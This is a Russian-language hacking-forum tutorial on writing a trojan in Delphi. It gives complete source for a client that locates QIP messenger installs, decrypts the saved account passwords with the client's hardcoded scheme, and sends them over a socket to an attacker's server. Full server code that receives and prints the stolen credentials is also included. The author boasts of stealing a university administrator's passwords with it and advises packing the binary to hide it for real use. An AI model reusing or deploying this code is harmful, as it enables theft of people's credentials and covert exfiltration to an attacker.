Пишем простого троя.

Vortex777

Интересующийся
Регистрация
27.06.2022
Сообщения
98
Реакции
0
Гарант продажи
0
Гарант покупки
0
Депозит
0 р
.:: [0] Введение::.

Написать статью решил потому что РЕАЛЬНО ЗАДРАЛИ ТЕМЫ ПРО ПИНЧА и подобных народных троев… Хотя бы один раз в неделю кто-то спросит - а как же всё таки его настроить!! И ничего как видно не помогает ни минусики к репе, ни предложения сконфигурировать троя за wmz
;)
)))
Так вот я попытаюсь в доходчивой форме рассказать как можно написать маленького скудненького в возможностях но СВОЕГО троя, который будет тырить сохранённые пароли из QiP’а. Отправка будет осуществляться на прямой ip что в принципе не безопасно (могут найти и настучать по голове) - но в ознакомительной форме и для некоторых задач он прокатит. (Мною он был с успехом применён в университетской локалке для угона пассов с компа препода-админа =) ).
И так мы уже определисиль, что трой будет состоять из двух частей : (1) Сервер и (2) Сам трой. Трой не будет прописываться ни в реестр ни в автозапуск (если захотите сами сделаете – инфы море), а просто при запуске отсылает пароли (и/или другую конфиденциальную информацию это уже что прикрутите сверху) на сервер который должен быть включён и настроен к работе. Писать мы будем на Делфи.

.:: [1] Немного теории (а куда ж без неё)::.

И так писать мы будем с использованием winsock api – так что про всякие закладки панели инструментов со всякими новомодными компонентами забываем сразу – написаный с их помощью код принесёт нам 600 кб – классненький трой получается =)). А так мы достигнем малого веса и вообще писать на низком уровне даёт большую гибкость да и научишься большему
;)
). Значит в Windows для работы с сокетами есть специальная библиотека winsock.dll. С ней мы и будем работать . Для реализации работы с ней существует файл заголовков всех её процедур и функций winsock.pas. Познакомимся с некоторыми из них которые будут использованы в проекте :

:: function wsastartup(wversionrequired: word; var wsdata: twsadata): integer; stdcall;
Функция сообщает ОС, что в любом процессе приложения могут быть использованы функции winsock. Функция должна быть вызвана один раз при запуске приложения перед использованием любой функции winsock.

:: function wsacleanup: integer; stdcall;
Функция сообщает ОС, что приложение более не использует winsock. Должна быть вызвана в конце проги.

:: function socket(af, struct, protocol: integer): tsocket; stdcall;
Функция создает сокет.
Входящий параметр af - Тип используемой адресации –нас интересует Интернет поетому нам надо использовать PF_INET или AF_INET. Различи в типе работы : соответственно синхронная и асинхронная. Мы будем использовать синхронную работу так как она проще в реализации . =)
struct - спецификация типа нового сокета . Может принимать значения
sock_stream – для TCP (с надежным соединением)
sock_dgram- для UDP (не производящий соединений)
protocol - тип протокол, который будет использоваться сокетом.Здесь значений много. Мы будем исползовать ipproto_ip.
Если функция выполнена без ошибок, она возвращает дескриптор на новый сокет, если ошибки есть, возвращается invalid_socket.

:: function connect(s: tsocket; var name: tsockaddr; namelen: integer): integer; stdcall;
Функция соединения для клиента. Структура адреса содержит порт (необходимо привести функцией htons) и адрес (для клиента необходимо привести из имени или спецификации ip4 - xxx.xxx.xxx.xxx).Для тестинга будем использовать 127.0.0.1.

:: function bind(s: tsocket; var addr: tsockaddr; namelen: integer): integer; stdcall;
Функция биндит сокет (ассоциирует адрес и порт с сокетом). Структура адреса содержит порт (необходимо привести функцией htons) и адрес (для сервера мы укажем inaddr_any – то есть любой).

:: function send(s: tsocket; var buf; len, flags: integer): integer; stdcall;
Посылает буфер данных сокету s длиной len. Последний параметр отвечает за вид передачи сообщения. Может быть проигнорирован (0).

:: function recv(s: tsocket; var buf; len, flags: integer): integer; stdcall;
Принимает данные от сокета s
Параметры аналогичны send, только s характеризует сокет, от которого принимаются данные

:: function listen(s:tsocket , backlog: integer);
Устанавливает сокет s в состояние ожидания подключения.
backlog - максимальное количество подключений
(можно установить в SOMAXCONN)

:: function accept(s: TSocket; addr: PSockAddr; addrlen: PInteger): TSocket; stdcall;
Принимает попытку подключения клиента.
Возвращаемое значение - сокет клиента.
s - сокет, использованный в ф-ции listen.

Теперь перейдём к самому интересному кодингу!
;)


.:: [2] шКОДИМ::.

И так начнём с КЛИЕНТА(то бишь троя), так как он более прост в понимании и разобраться лучше сначала с ним.
Значит создаём консольное приложении (на всякий случай напомню : New->Other…->Console Application) и убираем из него {$APPTYPE CONSOLE} для того чтобы во время запуска не выпрыгивало а потом исчезало окно шела виндовс.
Собственно код :
Код:
program Client;



uses
  sysutils,
  winsock,
  QIP in 'QIP.pas'   //модуль для выдирания паролей из QIP'a
  ;

type
    Tconf = record
    ip: string;
    port: integer;
    end;

var  config : Tconf;
     vwsadata : twsadata;
     vsocket : tsocket;
     vsockaddr : tsockaddr;


function Set_config(const ip:string='127.0.0.1'; port : word=133):boolean; // функуия установки настроек;
begin                // по дефалту работаем на локалхосте с портом 133
     config.ip:=ip;
     config.port:=port;
end;

function CreateSocket():boolean;
begin
     Result:=false;
     if wsastartup($101,vwsadata)<>0 then halt(1); // указывает что мы будем юзать winsock'ы
     vsocket := socket(af_inet,sock_stream,ipproto_ip);  // создаём сокет
     if vsocket = invalid_socket then halt(1);   //проверочка... =)
     fillchar(vsockaddr,sizeof(tsockaddr),0);    //
     vsockaddr.sin_family := af_inet;          //устанавливаем тип  семейства используемой адресации
     vsockaddr.sin_port := htons(config.port); // устанавливаем порт
     vsockaddr.sin_addr.s_addr := inet_addr(Pchar(config.ip)); // устанавливаем ip севака..
     if connect(vsocket,vsockaddr,sizeof(tsockaddr)) = socket_error then halt(1);    //коннектимся к  нашему севваку для передачи данных..
     Result:=true;
end;

function DestroySocket():boolean;   // закрываем сокеты
begin
     Result:=false;
     closesocket(vsocket);
     wsacleanup;
     Result:=true;
end;

function CryptData(str: string):string;  // Для того что бы данные не передавались
                                        // вообще открыто применим простенькое шифрование
var i,n: integer;
    cr_str : string;
begin
      result:='';
      n:=length(str);
      cr_str:='';
      for i:=1 to n do
      begin

            cr_str:=cr_str+Char(Byte(str[i])+12); // криптуем увеличив значение каждого символа на 12
      end;
      result:=cr_str;
end;

function SendData(send_string: string):boolean;   // Посылаем нашему серверу инфу.
var s : string;
begin
      Result:=false;
      s:=CryptData(send_string);  // криптуем
      send(vsocket,s[1],length(s)+1,0);     // отсылаем
      Result:=true;
end;



begin

   Set_config();   //задаём настройки  (используем настройки по дефалту )
   CreateSocket;                  //создаём все сокеты
   SendData(OutString);           // отправляем данные -OutString - это функция из модуля QiP'a
   DestroySocket;                 //убиваем сокеты


end.
Исходник хорошо комментированы и трудностей возникнуть не должно.
Как видите для выдирания пасса я использовал чуть изменённую библиотеку из проги QPRv1.61. Её код:
 

Vortex777

Интересующийся
Регистрация
27.06.2022
Сообщения
98
Реакции
0
Гарант продажи
0
Гарант покупки
0
Депозит
0 р
Код:
unit QIP;

interface

uses  windows,  Classes,SysUtils;

type TPassList=array of TStrings;

const  n_Path =5;
       path : array [0..n_Path] of string  =('D:\qip\','D:\Program Files\QIP\','C:\Program Files\QIP\','E:\Program Files\QIP\','C:\QIP\', 'E:\QIP\');
        // пути к папке с Qip'ом
var
    PassList:TPassList;
    buf:array[0..1023]of char;
    QipExePathFromReg:string;

function DecryptQIPPass_New(pass:string):string;

function FromINI(path:string):string;
procedure ExtractPass(QIPPath:string);
procedure AddString(uin,pas:string);
procedure SaveReport(FileName:string);

function OutString():string;

implementation

function InHEX(s:string):string;
var i:integer;
begin result:='';
      for i:=1 to length(s) do
    result:=result+inttohex(ord(s[i]),2)+' '
end;

procedure AddString(uin,pas:string);
  function CheckRepeat:boolean;
  var i:integer;
  begin result:=true;
    for i:=0 to Length(PassList)-1 do
      if PassList[i].Strings[0]=uin then
        if PassList[i].Strings[1]=pas then
          result:=false
  end;
begin if CheckRepeat then begin
    SetLength(PassList,Length(PassList)+1);
    PassList[Length(PassList)-1]:=TStringList.Create;
    PassList[Length(PassList)-1].Add(uin);
    PassList[Length(PassList)-1].Add(pas);
    if (pas<>'Not Saved')and(pas<>'Cannot Decrypt') then
      PassList[Length(PassList)-1].Add(InHEX(pas))
      end
end;

procedure SaveReport(FileName:string);
var rep:TFileStream;
    s:string;
    i:integer;
begin try
    rep:=TFileStream.Create(FileName,fmCreate);
    for i:=0 to Length(PassList)-1 do begin
      if PassList[i].Count>0 then begin
        s:=PassList[i].Strings[0]+#9;
        if length(s)<9 then s:=s+#9;
        rep.WriteBuffer(s[1],length(s))
      end;

      if PassList[i].Count>1 then begin
        s:=PassList[i].Strings[1]+#9;
        if length(s)<9 then s:=s+#9;
        rep.WriteBuffer(s[1],length(s))
      end;

      if PassList[i].Count>2 then begin
        s:=PassList[i].Strings[2];
        rep.WriteBuffer(s[1],length(s))
      end;

      rep.WriteBuffer(#13#10,2)
    end;
    rep.Free
      except
      end
end;

function DecryptQIPPass_New(pass:string):string;
  function DecodeBase64(value:string):string;
    function DecodeChunk(const chunk:string):string;
    const b64='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
    var
      w:LongWord;
      i:byte;
      c:char;
    begin
      w:=0; Result:='';
      for i:=1 to 4 do
    if pos(Chunk[i],b64)<>0 then
      w:=w+word((pos(Chunk[i],b64)-1))shl((4-i)*6);
      for i := 1 to 3 do begin
    c:=chr(w shr((3-i)shl 3)and $ff);
    if c<>#0 then Result:=Result+c
      end
    end;
  begin
    Result:='';
    if length(Value)and $03<>0 then exit;
    while length(Value)>0 do begin
      Result:=Result+DecodeChunk(copy(value,0,4));
      delete(value,1,4);
    end
  end;
var t,i,c:integer;
begin i:=length(pass);
      if i=0 then
    result:='NotSaved'
      else
    if i and $03<>0 then
      result:='CannotDecrypt'
    else begin
      Result:=DecodeBase64(pass);
      t:=$1ac3;
      for i:=1 to length(Result) do begin
        c:=Ord(Result[i]);
        Result[i]:=chr(c xor(t shr 8));
        t:=(t+c)*$38421+$64ceb;
      end
    end
end;


function FromINI(path:string):string;
begin result:='';
      if FileExists(path) then
      begin
            buf[GetPrivateProfileString('Main','NPass','',buf,32,pchar(path))]:=#0;
            result:=DecryptQIPPass_New(buf);
      end;


end;

procedure ExtractPass(QIPPath:string);
var i:integer;
    acc:TStringList;
begin if DirectoryExists(QIPPath) then
      begin
            QIPPath:=ExtractFilePath(QIPPath)+'Users\';
          if FileExists(QIPPath+'Accounts.cfg') then
          begin
                acc:=TStringList.Create;
                acc.LoadFromFile(QIPPath+'Accounts.cfg');
                acc.NameValueSeparator:='=';
                  for i:=0 to acc.Count-1 do
                begin
                      acc.Strings[i]:=acc.Strings[i]+'=';
                         AddString(acc.Names[i], FromINI(QIPPath+acc.Names[i]+'\Config.ini'))
                end;
                acc.Free

          end;
      end;
end;

function OutString():string; // функция выдирания пассов по адресам папкок из массива
var
    i,n: word;
    ss : Tstrings;
begin
      Result:='';
      for i:=0 to n_Path do ExtractPass(path[i]);

      n:=length(PassList);

      for i:=0 to n-1 do
      Begin
            ss:=PassList[i];
           Result:=Result+ss[0]+':'+ss[1]+' ';
      End;
end;


end.
Пару слов об папке с QiP’ом . В примере я использовал массив с путями, но как понимаете реальный путь может быть другой. Берём в учёт что qip можно не ставить через инстал, а скачать в архиве. Можно проверить ветви реестра на автозапуск – так как многие пользователи (я в их числе) ставят qip на автозапуск. А можно произвести поиск по ярлыкам на рабочем столе… в принципе решения есть
;)
)

А теперь СЕРВЕР. Для понятия как он работает нужно знать что такое потоки. Потоки это необходимая вещь в хозяйстве (так похабный смех прекратить =) ) кодера под винду. Для создания потока служит функция:

function CreateThread(lpThreadAttributes: Pointer;
dwStackSize: DWORD; lpStartAddress: TFNThreadStartRoutine;
lpParameter: Pointer; dwCreationFlags: DWORD; var lpThreadId: DWORD): THandle; stdcall;

Главное не пугаться этого монстра – в большинстве параметров можно смело ставить 0. Обязательнымы является lpStartAddress – для создания адреса потока.

Опишу как работает сервер: он висит на порте и ожидает подключения нашего троя – как только он подключился – создаётся новый поток который обслуживает соединение. Данные принимаются потом дэкриптуются, парсятся и выводятся на консоль.
 

Vortex777

Интересующийся
Регистрация
27.06.2022
Сообщения
98
Реакции
0
Гарант продажи
0
Гарант покупки
0
Депозит
0 р
Код:
program Server;

{$APPTYPE CONSOLE}

uses
  SysUtils,
  winsock, //библиотка для работы с сокетами
  windows;



const
      port=133; // Порт на котором будет сидеть наш сервак

var
    VWsadata : twsadata ; //потребуется для функции обьявления использования сокетов
    LSocket : tsocket;   //обявляем сокет
    LSockaddr : tsockaddr; //Структура типа TSockAddr для описания прослушивания порта
    ConSocket : tsocket; //сокет который появится при коннекте к серверу
    trid : thandle; //для создания потоков

function CreateSocket(): boolean;
begin
    writeln('Starting...');
      if wsastartup($101,vwsadata)<>0 then halt(1);  //сообщаем что программа будет использовать windows sockets.
    LSocket := socket(af_inet,sock_stream,ipproto_ip);    //Создаем сокет.
    writeln(format('Port [%d]',[port]));               //Выведем порт на котором притаился наш сокет
      if LSocket = invalid_socket then halt(1);      //Проверочка.
    fillchar(LSockaddr,sizeof(tsockaddr),0);             //Определяем размер буфера чтения для сокета
    LSockaddr.sin_family := af_inet;
    LSockaddr.sin_port := htons(port);
    LSockaddr.sin_addr.s_addr := inaddr_any;//указываем вместо ip ету переменную для сервера
      if bind(LSocket,LSockaddr,sizeof(tsockaddr)) <> 0 then halt(1); //Привязываем адрес и порт к сокету
      if listen(LSocket,somaxconn) <> 0 then halt(1);  //Начинаем прослушивать.
    writeln('In progress....');
    
end;



procedure StatThread; //поток  статистики  - в него можно напихать всякого для управления сервером
var
    command : string;
begin
     repeat         //принимаем  команды и осуществляем их ;)
          readln(command);
          if  command='q' then halt(0);// при команде q – осуществляется выход
          
     until false;
end;

function Decrypt(str:string):string; // де криптинг пришедшего с троя
var i,n: integer;
    cr_str : string;
begin
      result:='';
      n:=length(str);
      cr_str:='';
      for i:=1 to n do
      begin
           cr_str:=cr_str+Char(Byte(str[i])-12); // дэкриптуем уменшив значение каждого символа на 12
      end;
      result:=cr_str;
end;

function RecvData(str:string): boolean; //функция для принятия данных от троя  и их обработки
var
    i,n : word;
    s,strn:string;
begin
      writeln;
      writeln('--------PASSES--------');
      result:=false;
      s:=Decrypt(str);                     //дэкриптовка данных
      n:=length(s);
      for i:=1 to n do                     //производится парсинг принятых данных
      begin                                //на пробеллы - если попадется пробелл
           if s[i]<>' '                    //значит новый кусок данных
              then  strn:=strn+s[i]
              else begin WriteLn(strn); strn:=''; end;
      end;
      writeln('----------------------');
      writeln;
      result:=true;
end;

procedure MainThread; //главный поток - создайтся для каждого подключения к серверу
var sockname : tsockaddr;
    abuf : array of char;
    vbuf : string;
    vsize : integer;
    s :tsocket;
    bufsize : integer;

begin

    s := ConSocket;   
    if s = invalid_socket then exit;
    vsize := sizeof(tsockaddr);
    getpeername(s, sockname, vsize); //возвращает информацию о канале, ассоциированном с сокетом

    vsize := sizeof(bufsize);               //Определяем размер буфера чтения для сокета
    getsockopt(s,sol_socket,so_rcvbuf,pchar(@bufsize),vsize);
    setlength(abuf,bufsize);

    repeat
        //Получаем данные. Процедура работает в блокирующем режиме,
        //таким образом следующая строка кода не получит управление,
        //пока не поступят данные от клиента.
        vsize := recv(s,abuf[0],bufsize,0);  //получаем данные от троя
        if vsize<=0 then break;
        setlength(vbuf,vsize);
        lstrcpyn(@vbuf[1],@abuf[0],vsize);
        RecvData(vbuf);     // отправляем принятые данные на обработку
    
    until false;

    setlength(abuf,0);
    closesocket(s);

end;

function DestroySocket():boolean;
begin
      Result:=false;
      closesocket(LSocket); //закрываем осной сокет
      wsacleanup;
      result:=true;
end;


begin
     CreateSocket;

     createthread(nil,0,@StatThread,0,0,trid);    //Поток статистики
     repeat    //Ожидаем подключения
           ConSocket := accept(LSocket,nil,nil);  //еслии  есть  соединение создаём сокет
           createthread(nil,0,@MainThread,0,0,trid); //Трой подключился, запускаем новый поток на соединение.
     until false;

     DestroySocket;
end.

.:: [3] Вместо эпилога
;)
::.


После компиляции получаем большиватый разметчик – у меня получилось 89 кбайт. Если захочешь использовать его в боевых условиях – нужно обязательно упаковать и скрыть следы упаковки. После таких действий у мя вышло 45 кбайт.
Вот в принципе и всё что я хотел вам поведать в этой статейке. Удачной компиляции и не забывайте что сначала надо думать головой, пользоваться поиском и в крайнем случае задавать вопросы (хорошо сформулированные)
 
Сверху